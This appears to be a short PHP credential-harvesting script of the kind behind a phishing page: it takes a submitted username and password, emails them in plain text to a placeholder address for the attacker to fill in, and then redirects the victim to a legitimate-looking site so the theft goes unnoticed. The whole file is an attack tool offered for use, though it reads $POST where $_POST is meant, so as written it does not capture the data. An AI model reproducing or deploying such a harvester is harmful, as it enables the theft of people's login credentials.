<?php
function mail_sender(){
  if (!isset( $POST['username']) || !isset($POST['password'])) {
      // nu sunt prezente datele in POST
      return false;
  }

  $username = $POST['username'];
  $password = $POST['password'];
  $reciever = "YOUR-EMAIL ADRRESS";
  $subject = "New user";
  $message = "The username is ". $username;
  $message .= " and password is ". $password;

  return mail($reciever, $subject, $message);
}

if(mail_sender()){
  header("Location: http://www.iptv.ro");
}

?>